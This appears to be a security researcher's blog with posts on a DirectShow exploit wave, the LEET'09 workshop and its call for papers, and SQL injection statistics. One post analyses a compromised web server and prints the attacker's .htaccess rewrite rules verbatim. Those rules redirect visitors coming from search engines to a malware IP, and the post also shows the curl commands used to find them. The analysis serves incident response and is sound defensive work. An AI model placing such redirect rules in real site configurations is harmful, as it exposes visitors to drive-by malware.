Skip to content

DirectShow Vulnerability Exploited Everywhere

The DirectShow vulnerabilities are being exploited all over the place now. Unfortunately, the second vulnerability in DirectShow is still unpatched and exploit sites seem to be jumping on this. There is even some evidence that it's possible to successfully exploit the vulnerability without even using JavaScript. New exploit domains are popping after every day. DirectShow now seems to be what Flash and PDF were earlier in the year.

Cybercrime 2.0: When the Cloud Turns Dark

We recently published an article on web-based malware in ACM's Queue Magazine. It provides a short overview of some of the challenges with detecting malicious web sites such as social engineering and examples of techniques for compromising web sites, e.g. htaccess redirection on Apache, etc. This is the article on which my recent ISSNet talk was based.

LEET'09: Large Scale Exploits and Emergent Threats

The 2nd USENIX LEET workshop is going to take place on April 21st in Boston next week. The workshop program looks really interesting. There are a number of really interesting talks; here are just a few:

  • Spamcraft: An Inside Look At Spam Campaign Orchestration
  • A Foray into Conficker's Logic and Rendezvous Points
  • A View on Current Malware Behaviors


Last year's workshop was a blast and I expect that next week is going to be lots of fun, too. It is still possible to register on-site for the workshop.

Using htaccess To Distribute Malware

Usually, I get to find compromised web servers, but last week I was asked to fix one. A relative noticed that his web server would try to install a rogue anti-malware product and called me for help. Curiously, the malware showed up only when clicking on the search results for his web site, but the site was fine when typing the address directly into the location bar. A little investigation with curl could reproduce that behavior:
curl -I -H "Referer: www.google.com" http://www.foo.com/

returned a 302 redirect to an IP address, whereas
curl -I http://www.foo.com/

returned a 200. To find where the code might have been injected, I grepped the whole web server for the IP address and found the following gem in .htaccess:
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
RewriteRule .* http://89.28.13.204/in.html?s=xx [R,L]

This code instructs the web server to redirect visitors to a malware site if they come from popular search engines.

The attackers were able to insert this file as the web application had a remote file inclusion vulnerability. These attacks are quite popular as we found in our paper: To Catch a Predator: A Natural Language Approach for Eliciting Malicious Payloads. The fix in this case was to remove the .htaccess file and to upgrade the web application to a patched version without the vulnerability.

SQL Injection Redux

During my invited talk on web-based malware at USENIX Security, I mentioned SQL Injection as one of the more popular means of compromising web servers. Although I did not have a chance to post my slides, here is one graph that shows how many URLs with drive-by downloads due to SQL injection were found by Google's infrastructure in July 2008; it's over 800,000 URLs. Curiously, most of these were due to the Asprox botnet.

The situation has slightly changed since then, Asprox has become quiet and most of the SQL Injection attacks seem to originate from Chinese sites. One way to determine if a site has been injected with malicious content is the Safe Browsing diagnostic page which shows infection domains and also how many sites they compromised. Here is an example of a Chinese SQL injection domain, ko118.cn.

To help web application developers, OWASP has published detailed guidelines on preventing SQL injection attacks. More importantly if your web site was SQL injected, its database needs to be cleaned to remove the injected content.

LEET '09 Call for Papers

The CfP for the 2nd USENIX Workshop on Large-Scale Exploits and Emergent Threats (LEET '09): Botnets, Spyware, Worms, and More is up at:

http://www.usenix.org/event/leet09/cfp/.

LEET '09 will be held on April 21, 2009 in Boston, MA immediately before the 6th USENIX Symposium on Networked Systems Design and Implementation (NSDI '09), which will take place April 22–24, 2009.

Important Dates
  • Submissions due: January 16, 2009, 11:59 p.m. EST
  • Notification of acceptance: March 2, 2009
  • Electronic files due: March 30, 2009

This will be the second edition of LEET, which had evolved from the combination of two other successful workshops, the ACM Workshop on Recurring Malcode (WORM) and the USENIX Workshop on Hot Topics in Understanding Botnets (HotBots). These two workshops have each dealt with aspects of this problem. However, while papers relating to both worms and botnets are explicitly solicited, LEET has a broader charter than its predecessors. We encourage submissions of papers that focus on any aspect of the underlying mechanisms used to compromise and control hosts, the large-scale "applications" being perpetrated upon this framework, or the social and economic networks driving these threats.